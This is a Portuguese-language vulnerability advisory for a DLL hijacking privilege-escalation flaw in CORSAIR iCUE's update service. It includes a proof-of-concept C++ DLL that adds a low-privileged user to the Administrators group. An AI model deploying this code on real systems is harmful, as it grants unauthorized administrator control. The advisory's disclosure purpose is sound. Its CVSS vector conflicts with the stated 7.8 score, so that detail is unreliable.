iCUE_DllHijack_LPE-CVE-2024-22002

Software vulnerável e versão

• Link para download do software: CORSAIR iCUE v5.9.105 com iCUE Murals

Descrição

Uma vulnerabilidade de DLL Hijacking foi identificada no iCUE v5.9.105. Esta vulnerabilidade ocorre durante o processo de atualização, gerenciado pelo serviço "iCUEUpdateService". O serviço inicia um processo ("cuepkg.exe") responsável por realizar a atualização, executando com privilégios de "NT AUTHORITY\SYSTEM". Ao iniciar o processo, ele pesquisa várias DLLs no diretório \cuepkg-1.2.6, localizado dentro do diretório de instalação do iCUE. Algumas dessas DLLs não estão presentes por padrão, mas como um usuário comum tem privilégios para criar arquivos nesse diretório, um invasor poderia potencialmente introduzir uma DLL maliciosa no diretório. Consequentemente, essa DLL maliciosa seria carregada por cuepkg.exe com privilégios de Administrador.

As DLLs afetadas detectadas são as seguintes:

• MSASN1.dll
• NTASN1.dll
• profapi.dll

Vetor CVSS: (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

• Pontuação Base: 7.8 (Alta)
• Pontuação Temporal: 7.8 (Alta)
• Pontuação Ambiental: 7.8 (Alta)

Prova de Conceito

Como exemplo, a DLL profapi.dll será utilizada.

1. Crie nossa DLL maliciosa e adicione-a ao diretório %INSTALLDIR%cuepkg-1.2.6.
2. Aguarde o programa atualizar automaticamente ou, neste caso, force a atualização clicando em "Verificar atualizações".
3. Nosso usuário sem privilégios de Administrador é adicionado ao grupo.

Privilégios do usuário lowpriv antes da execução da DLL maliciosa:

Privilégios do usuário lowpriv após a execução da DLL maliciosa:

• Exemplo de código malicioso:

#include "pch.h"
#include <windows.h>
#include <cstdlib>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
    {
        system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
    }
    break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    }

    return TRUE;
}